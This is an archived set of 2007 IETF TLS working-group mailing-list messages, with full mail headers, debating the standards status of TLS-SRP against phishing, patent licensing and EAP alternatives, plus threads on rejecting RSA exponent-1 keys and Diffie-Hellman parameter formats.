AuvkETdTqf4dYKgtvKGiEzAJBgUrDgMCGgUAoIIBwzAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN AQcBMBwGCSqGSIb3DQEJBTEPFw0wNzA2MDUwMzQ4MDBaMCMGCSqGSIb3DQEJBDEWBBQSpgFz gkWsXObHbL5jYlZ5/HKkOjBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMHMA4GCCqGSIb3 DQMCAgIAgDANBggqhkiG9w0DAgIBQDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDCBhQYJKwYB BAGCNxAEMXgwdjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcg KFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vpbmcg Q0ECEALr5BE3U6n+HWCoLbyhohMwgYcGCyqGSIb3DQEJEAILMXigdjBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhh d3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECEALr5BE3U6n+HWCoLbyhohMwDQYJ KoZIhvcNAQEBBQAEggEAZLR2RvF15Kd1RWpQYcfQFWOm/KC2AlVTpaeXKHfC7HPWNsjlWl8G ydbh2eC4ZCHadkW4/Ns2TwTuC7PdDCWn22kcla8S+TNmrvs4aV+++9R8hMkXxQIgukC0pPwg 2qU79X7dOCxwldNmT+/fn952lBUgAFGiYj3hqRRIst3Bs6E30yOeqXDpIkTn7Mcg4nI5jCRF UruiGNm60KpNuK3mTfNty4TuDMddQ8xjDMZaSWXpPmehhPYrBeVsHrZBnFYDNu1gAHymt/9g IppdhO/FRxNS5tuTuGSWQpdgZDhMixGcPGqT/WcY8wK0/GeVtmPju19X1bYC5FBfuUytWF64 CgAAAAAAAA== --------------ms040106040803070302060105-- --===============0555656255== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0555656255==-- From tls-bounces@lists.ietf.org Tue Jun 05 01:38:55 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvRkh-0005Et-Tz; Tue, 05 Jun 2007 01:38:43 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvRkg-000590-6T for tls@ietf.org; Tue, 05 Jun 2007 01:38:42 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvRka-0007l9-JU for tls@ietf.org; Tue, 05 Jun 2007 01:38:42 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l555cYFB002951; Tue, 5 Jun 2007 08:38:34 +0300 (IDT) Mime-Version: 1.0 (Apple Message framework v752.3) In-Reply-To: References: <200705301914.l4UJEKMm003461@fs4113.wdf.sap.corp> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 08:38:32 +0300 To: tls@ietf.org, "Kemp, David P." X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org IMO SRP provides a significant advantage. I think point #2 in your scenario is a little overstated. Many users will look for the padlock. They may not check the authenticated server name, and they will fall for plausible variations, but it's relatively easy to educate them to look for the padlock. SRP raises the bar, because once it's widespread, weird server names become meaningless. All you need to do is educate the user that you never enter passwords on a form, only in the browser special window. Browser makers can make visual clues that are hard to imitate in HTML to differentiate the password window from anything coming from the server. Think of the screen dimming that some Linux variations (like Ubuntu) give you when they ask for the administrator password. That way, if the server is an illegitimate phishing server, it (1) doesn't get your password, and (2) fails authentication. With SRP (whether directly in TLS or through EAP) you can reduce the requirements from the user to (1) make sure it's SSL (starts with https, colored yellow, padlock) (2) Only enter passwords in the password window, not on a form. I think these two are learnable for the majority of users. Can't say the same for verifying server DN. On Jun 4, 2007, at 10:17 PM, Kemp, David P. wrote: > Peter, > > I don't see how either #1 or #2 would have much impact on phishing. > > Scenario: > 1) Server-authenticated TLS to a phishing server with a plausible > variation on a targeted legitimate server name > 2) User ignores padlock and other cert-related HMI information > (if the user actually checked the authenticated server name and > recoiled in horror if not as expected, then phishing would not > be a problem) > 3) User authenticates with a) nothing, b) http basic auth, c) client > cert, or d) SRP - it doesn't matter which > 4) Phishing server puts up a form that says: enter SSN, mother's > maiden name, and password. > > If someone is phishing for information to enable identity theft, > then user authentication has no preventive benefit > whatsoever. If someone is phishing for passwords for online > accounts, then the users who don't check server authentication > are also unlikely to non-comply with a socially-engineered > request to enter their password into a form. > > SRP might raise the bar on password phishing slightly, but not > significantly. And the bar on phishing for everything except > a targeted server's password would not be raised at all. > > The way to prevent phishing is to make server authentication > work. Attacking this problem with client authentication is like > driving screws with a hammer. Any mechanism that permits the > user to know his password is vulnerable to phishing. And any > password mechanism that is not vulnerable to phishing, like a browser > module that invisibly generates random passwords for TLS > authenticated web sites and only regurgitates a password to > the site it was generated for, has the same operational issues > as client certs (server needs to request password generation, > user needs to carry p12s for portability to other machines, etc). > > Dave > > > -----Original Message----- > From: Peter Gutmann [mailto:pgut001@cs.auckland.ac.nz] > > Anyway, there are two solutions: > > 1. Sit back and wait for client certs to start working. Hey, we've > been > waiting for fifteen-odd years already, they've gotta start > working at > some > point, right? > > 2. Accept that username+password isn't going to go away (ever) and try > and fix > it by providing a proper security mechanism for it (mutual-auth > challenge- > response, for example). > > I'm going for #2, which would seriously impact phishing if properly > implemented (admittedly it's not a silver bullet, but it'd seriously > raise the > bar for phishing attacks, which is a step in the right direction). > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 02:00:21 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvS5Q-0006X3-PV; Tue, 05 Jun 2007 02:00:08 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvS5P-0006Vr-3T for tls@ietf.org; Tue, 05 Jun 2007 02:00:07 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvS5J-0006ec-Nw for tls@ietf.org; Tue, 05 Jun 2007 02:00:07 -0400 Received: from [172.31.24.80] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l555xuFB008300; Tue, 5 Jun 2007 08:59:56 +0300 (IDT) Mime-Version: 1.0 (Apple Message framework v752.3) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status Date: Tue, 5 Jun 2007 08:59:54 +0300 To: tls@ietf.org, Tom Wu X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Scan-Signature: 32b73d73e8047ed17386f9799119ce43 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Jun 5, 2007, at 1:58 AM, Tom Wu wrote: > On Sun, 3 Jun 2007, Yoav Nir wrote: > >> >> On Jun 2, 2007, at 10:08 AM, Tom Wu wrote: >> >>> Martin Rex: >>>> The document status is pretty much the only "incentive" that the >>>> IETF can put out for companies to slow down on their patents race >>>> or at least to come up with reasonable licensing terms (i.e. >>>> royalty free >>>> for Free and OpenSource software). >>> Keep in mind that in the context of this discussion, Stanford >>> (SRP) and >>> Lucent (EKE) are competitors. Knocking down TLS-SRP from >>> Proposed to >>> Informational/Experimental rewards the player that did not do the >>> "right" >>> thing (free licensing) at the expense of the player that did the >>> "right" >>> thing (Stanford). The last thing you want to do is to create an >>> incentive >>> for players to do an IPR "denial of service" on a competitor's >>> technology, >>> since this encourages "patent race" behavior. >> >> It's not about punishing Stanford or rewarding Lucent. It's the >> question of whether or not you might get sued for implementing this. > > It _is_ precisely about punishment/reward - if you read the context of > my comments, you'll see that I was addressing Martin Rex's point about > the use of document status as incentive, and supplying information > about > how the incentives would work in this particular case. However, Martin is right, in that the incentive works. ECC has been slowed down significantly by Certicom's patent claims, both in standards and in implementations. This has finally made Certicom issue a royalty-free license for use of ECC in IKE and TLS. > >> Perhaps, but we don't need to have the key mixed into the >> encryption keys of TLS. It should be good enough to have the >> server prove it has access to the SRP key. This was the approach >> taken in IKEv2, and it should also be good for EAP-in-TLS. > > Handwaving with the word "should" is easy, but there still isn't a > specific protocol that can be analyzed for security, or performance > for that matter - if there is one D-H exchange for the session > security keys and a separate key exchange for SRP, then you're > already at close to a factor-of-two performance disadvantage > compared to SRP-TLS. It's not that I dislike EAP-in-TLS, but it's > not entirely fair to compare a real standard versus some theoretical > construct, especially if you always give the latter the benefit of > the doubt before it gets exposed to real design and engineering > tradeoffs. This EAP discussion is a non-starter until someone > actually puts forth a specific SRP-EAP-TLS proposal. Strictly speaking, there is a specific protocol. The EAP-SRP draft is expired, but still available (maybe someone should pick up this effort) http://tools.ietf.org/id/draft-ietf-pppext-eap-srp-03.txt and the EAP-in-TLS draft is still current (though we are going to publish a newer version soon) http://www.ietf.org/internet-drafts/draft-nir-tee-pm-00.txt I agree, though, that this hasn't had the security analysis that was given to SRP-TLS. I really have two concerns with SRP-TLS: 1. It's usually not a good idea to provide two ways of doing the same thing. In this case, if the TLS library maker should support both EAP-SRP and SRP-TLS that complicates the security analysis of the library. The websites would probably want to support both. 2. Unlike certificates, which only require verification, passwords actually need to be stored in some form or another on the authenticating server. EAP provides a method of separating the authentication server from the TLS server, which is IMO a good thing, and also reflects the way most organizations store handle their passwords. From reading SRP-TLS, it looks like the server has to do all the verifications itself. Of course, there might be a backend server, but the protocol and trust relationship between the backend server and the TLS server is not specified. In EAP, this is specified. You are right about the performance disadvantage of EAP-in-TLS as compared to SRP-TLS, but that is mitigated by the fact that half the server-side work is done on the AAA server. The extra roundtrips in the protocol are somewhat more worrying, because they cannot be solved by throwing extra resources at the server. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 02:38:49 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvSgn-0000yK-Ud; Tue, 05 Jun 2007 02:38:45 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvSgm-0000yC-3j for tls@ietf.org; Tue, 05 Jun 2007 02:38:44 -0400 Received: from cs-smtp-3.stanford.edu ([171.64.64.27]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvSgk-0006xk-Mu for tls@ietf.org; Tue, 05 Jun 2007 02:38:44 -0400 Received: from xenon.stanford.edu ([171.64.66.201]) by cs-smtp-3.Stanford.EDU with esmtps (TLSv1:AES256-SHA:256) (Exim 4.60) (envelope-from ) id 1HvSgj-0005YU-6I; Mon, 04 Jun 2007 23:38:42 -0700 Received: from tjw (helo=localhost) by xenon.Stanford.EDU with local-esmtp (Exim 4.60) (envelope-from ) id 1HvSgh-0003t3-TG; Mon, 04 Jun 2007 23:38:39 -0700 Date: Mon, 4 Jun 2007 23:38:39 -0700 (PDT) From: Tom Wu To: Yoav Nir Subject: Re: [TLS] Straw poll on TLS SRP status In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: -102.5 X-Spam-Checker-Version: SpamAssassin 3.0.4-cs-csdcf (2005-06-05) on cs-smtp-3.Stanford.EDU X-Scan-Signature: 10362da83454c0a30f3f1339bddfed40 X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d6aff76b15f3f56fcb94490e1052e4 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tue, 5 Jun 2007, Yoav Nir wrote: > However, Martin is right, in that the incentive works. ECC has been slowed > down significantly by Certicom's patent claims, both in standards and in > implementations. This has finally made Certicom issue a royalty-free license > for use of ECC in IKE and TLS. Yup, and Stanford has issued a royalty-free license for SRP. The only remaining message to send is to competitors trying to do a denial-of- service against it. Making SRP-TLS Proposed would send the message that this DoS attack doesn't work against the IETF, discouraging "patent race" behavior. > Strictly speaking, there is a specific protocol. The EAP-SRP draft is > expired, but still available (maybe someone should pick up this effort) > http://tools.ietf.org/id/draft-ietf-pppext-eap-srp-03.txt > and the EAP-in-TLS draft is still current (though we are going to publish a > newer version soon) > http://www.ietf.org/internet-drafts/draft-nir-tee-pm-00.txt > > I agree, though, that this hasn't had the security analysis that was given to > SRP-TLS. > > I really have two concerns with SRP-TLS: > 1. It's usually not a good idea to provide two ways of doing the same thing. > In this case, if the TLS library maker should support both EAP-SRP and > SRP-TLS that complicates the security analysis of the library. The websites > would probably want to support both. I don't think the "complicates the security analysis" point is valid - it is no more complicated than a TLS library that supports both client certs and, say, PSK. And as you point out yourself, there would be many differences between the two that would make one or the other preferable for a given server to support, so they're really not doing the same thing. In this case, there would be a clear tradeoff between the advantages you cite for EAP versus the roundtrip, performance, and possible security advantages of SRP-TLS. Tom -- Tom Wu http://www-cs-students.stanford.edu/~tjw/ _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 02:39:45 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvShj-0001DR-V6; Tue, 05 Jun 2007 02:39:43 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvShi-0001D4-B5 for tls@ietf.org; Tue, 05 Jun 2007 02:39:42 -0400 Received: from smtp-out.google.com ([216.239.33.17]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvShg-00074b-QH for tls@ietf.org; Tue, 05 Jun 2007 02:39:42 -0400 Received: from spaceape9.eur.corp.google.com (spaceape9.eur.corp.google.com [172.28.16.143]) by smtp-out.google.com with ESMTP id l556dZ4c031677 for ; Tue, 5 Jun 2007 07:39:35 +0100 DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=received:message-id:date:from:to:subject:cc:in-reply-to: mime-version:content-type:content-transfer-encoding: content-disposition:references; b=SHGN9upq3/sQ+0NeSZOpqjD2gkzYfqZ1Kw+04PRpjbbbT1fIBPQHTaLUgcNlsycAS 1RKrTNhTbg2F7GgfMoixA== Received: from wa-out-1112.google.com (wafm38.prod.google.com [10.114.189.38]) by spaceape9.eur.corp.google.com with ESMTP id l556dUPX032470 for ; Tue, 5 Jun 2007 07:39:30 +0100 Received: by wa-out-1112.google.com with SMTP id m38so2093807waf for ; Mon, 04 Jun 2007 23:39:29 -0700 (PDT) Received: by 10.114.25.3 with SMTP id 3mr5713846way.1181025569735; Mon, 04 Jun 2007 23:39:29 -0700 (PDT) Received: by 10.114.254.10 with HTTP; Mon, 4 Jun 2007 23:39:29 -0700 (PDT) Message-ID: <1b587cab0706042339m53c91964t4ae16469cc76b5e5@mail.gmail.com> Date: Mon, 4 Jun 2007 23:39:29 -0700 From: "Ben Laurie" To: "Eric Rescorla" Subject: Re: [TLS] Issue 30: Reject RSA public exponent 1 In-Reply-To: <20070603150155.1CF5133C4B@delta.rtfm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20070603150155.1CF5133C4B@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On 6/3/07, Eric Rescorla wrote: > http://www3.tools.ietf.org/wg/tls/trac/ticket/30 > > Nelson Bolyard writes: > Some time ago, mozilla was modified to detect and reject RSA > keys with public exponents equal to 1. Presumably, the > readers of this list need no explanation of the implications > of such keys. > > Now, mozilla users are encountering web sites whose certs have > such keys. At least one public CA has apparently issued one > or more such certs. > > I'm reporting this here to alert the readers of this list who > may wish to ensure that their implementations detect such > keys, and to suggest that perhaps the TLS RFC should > explicitly forbid the use of any public keys (RSA or > otherwise) that facilitate such weak encryption and/or > authentication by requiring implentations to detect and reject > them. > > > My general feeling is that there are a broad category of "good crypto > practices" issues that don't apply specifically to TLS. I'd love to > see an RFC on them, but would rather not see them in TLS proper > since they need to be duplicated in every crypto-using RFC. > > Proposed resolution: do nothing. I'm wondering what the threat model is here? So, the guy who makes the key gets you to transmit your data in the plain. But, regardless of exponent value, if he wants to reveal your data all he need do is decrypt it and reveal it. Now, I'm sure you can construct some James Bond scenario where its a good idea to reveal your victim's credit card number to a local sniffer instead of the central server, but hey, we've got Tor and anonymous remailers, anyone can hide their identity, so why bother? > -Ekr > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 02:59:26 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvT0n-0006nT-AD; Tue, 05 Jun 2007 02:59:25 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvT0l-0006nO-NC for tls@ietf.org; Tue, 05 Jun 2007 02:59:23 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvT0j-00026e-RS for tls@ietf.org; Tue, 05 Jun 2007 02:59:23 -0400 Received: from esebh108.NOE.Nokia.com (esebh108.ntc.nokia.com [172.21.143.145]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l556wtMN012418; Tue, 5 Jun 2007 09:59:16 +0300 Received: from esebh103.NOE.Nokia.com ([172.21.143.33]) by esebh108.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 5 Jun 2007 09:59:14 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh103.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 5 Jun 2007 09:59:14 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Issue 30: Reject RSA public exponent 1 Date: Tue, 5 Jun 2007 09:59:14 +0300 Message-ID: In-Reply-To: <1b587cab0706042339m53c91964t4ae16469cc76b5e5@mail.gmail.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Issue 30: Reject RSA public exponent 1 Thread-Index: AcenPFCQK4YZvoVOSK2YuQH24WD1EQAAXbsw References: <20070603150155.1CF5133C4B@delta.rtfm.com> <1b587cab0706042339m53c91964t4ae16469cc76b5e5@mail.gmail.com> From: To: X-OriginalArrivalTime: 05 Jun 2007 06:59:14.0465 (UTC) FILETIME=[06F20110:01C7A73F] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: 9182cfff02fae4f1b6e9349e01d62f32 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Ben Laurie wrote: > I'm wondering what the threat model is here? So, the guy who makes > the key gets you to transmit your data in the plain. But, regardless > of exponent value, if he wants to reveal your data all he need do is > decrypt it and reveal it. Based on Nelson's original email, it seems the threat model was not=20 an actively malicious attacker, but implementation and operational mistakes: some key generation tool (mistakenly) generated keypairs with public exponent 1, and some CA (mistakenly) issued valid certs for them. A TLS implementation could (and IMHO should) detect this mistake,=20 as Mozilla NSS now does... but the question is whether this check should be mentioned in the TLS spec or not.=20 Perhaps the advice about this check could be combined with other advice: e.g. the TLS implementation should (or even must) check that DH group parameters are "good enough" (and reject attempts to use e.g. 256-bit groups, unless this is really allowed by the local policy).=20 Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 02:59:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvT19-0006t3-MU; Tue, 05 Jun 2007 02:59:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvT18-0006sy-5q for tls@ietf.org; Tue, 05 Jun 2007 02:59:46 -0400 Received: from larry.its.auckland.ac.nz ([130.216.12.34] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvT16-00027o-Pj for tls@ietf.org; Tue, 05 Jun 2007 02:59:46 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 3C9B418300; Tue, 5 Jun 2007 18:59:43 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (larry.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VLm6O9EhDqtV; Tue, 5 Jun 2007 18:59:43 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 24825182D9; Tue, 5 Jun 2007 18:59:43 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id B7BAE1280A1; Tue, 5 Jun 2007 18:59:42 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvT1A-00087k-00; Tue, 05 Jun 2007 18:59:48 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: DPKemp@missi.ncsc.mil, tls@ietf.org Subject: RE: [TLS] Straw poll on TLS SRP status In-Reply-To: Message-Id: Date: Tue, 05 Jun 2007 18:59:48 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org "Kemp, David P." writes: >[...] >3) User authenticates with a) nothing, b) http basic auth, c) client > cert, or d) SRP - it doesn't matter which >4) Phishing server puts up a form that says: enter SSN, mother's > maiden name, and password. With SRP, the user can't connect until the server's already proven knowledge of the username and password, so the phisher can never even get to step 4. >If someone is phishing for information to enable identity theft, then user >authentication has no preventive benefit whatsoever. SRP isn't user authentication, it's mutual authentication of client and server. So is TLS-PSK. >The way to prevent phishing is to make server authentication work. Exactly. That's what TLS-PSK and TLS-SRP do. Thankyou for supporting my argument :-). Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 03:09:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTAH-0004Rt-JZ; Tue, 05 Jun 2007 03:09:13 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTAF-0004Rl-R4 for tls@lists.ietf.org; Tue, 05 Jun 2007 03:09:11 -0400 Received: from curly.its.auckland.ac.nz ([130.216.12.33] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvTAE-00042Y-Dp for tls@lists.ietf.org; Tue, 05 Jun 2007 03:09:11 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 257299C166; Tue, 5 Jun 2007 19:09:05 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (curly.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lFaq+0cXGBlN; Tue, 5 Jun 2007 19:09:05 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 09C2C9C144; Tue, 5 Jun 2007 19:09:05 +1200 (NZST) Received: from medusa01.cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by iris.cs.auckland.ac.nz (Postfix) with ESMTP id 1859D1280A1; Tue, 5 Jun 2007 19:09:04 +1200 (NZST) Received: from pgut001 by medusa01.cs.auckland.ac.nz with local (Exim 3.36 #1 (Debian)) id 1HvTAE-0008Iu-00; Tue, 05 Jun 2007 19:09:10 +1200 From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: bmoeller@acm.org, ekr@networkresonance.com Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys In-Reply-To: <20070603150710.8E87B33C4B@delta.rtfm.com> Message-Id: Date: Tue, 05 Jun 2007 19:09:10 +1200 X-Spam-Score: 0.5 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Eric Rescorla writes: >So, I'm no DH expert, but my understanding is that there are three common >cases: > >1. Randomly generated p with no special structure >2. Sophie-Germain primes where q is about p/2. >3. DSA-style groups where q< >Only in the last case does carrying around q offer much benefit. > >Is this common enough that it's worth changing the spec? It was my >understanding that we mostly encouraged people to use S-G primes in any case. Use of S-G primes is mostly historical. I use the Lim-Lee algorithm, which both produces known-good (verifiable) DSA-style primes, and is extremely efficient (far more so than anything that produces S-G primes). Having an ability to (optionally) specify DSA-style parameters would be a considerable help. (Actually I'd make them mandatory, but I suspect that'd get too many complaints from existing users. Mind you given the current low use of DH compared to the near-universal RSA, it'd be nice to get implementors into good habits early and require verifiable DSA-style parameters). Peter. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 05 03:36:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTaL-00077S-SX; Tue, 05 Jun 2007 03:36:09 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HvTaK-00077N-Ki for tls@ietf.org; Tue, 05 Jun 2007 03:36:08 -0400 Received: from moe.its.auckland.ac.nz ([130.216.12.35] helo=mailhost.auckland.ac.nz) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HvTaI-0000Vr-7W for tls@ietf.org; Tue, 05 Jun 2007 03:36:08 -0400 Received: from localhost (localhost.localdomain [127.0.0.1]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id A72C3480288; Tue, 5 Jun 2007 19:36:04 +1200 (NZST) X-Virus-Scanned: by amavisd-new at mailhost.auckland.ac.nz Received: from mailhost.auckland.ac.nz ([127.0.0.1]) by localhost (moe.its.auckland.ac.nz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lN-O7bL-YGi9; Tue, 5 Jun 2007 19:36:04 +1200 (NZST) Received: from iris.cs.auckland.ac.nz (iris.cs.auckland.ac.nz [130.216.33.152]) by mailhost.auckland.ac.nz (Postfix) with ESMTP id 8D71848027F; Tue, 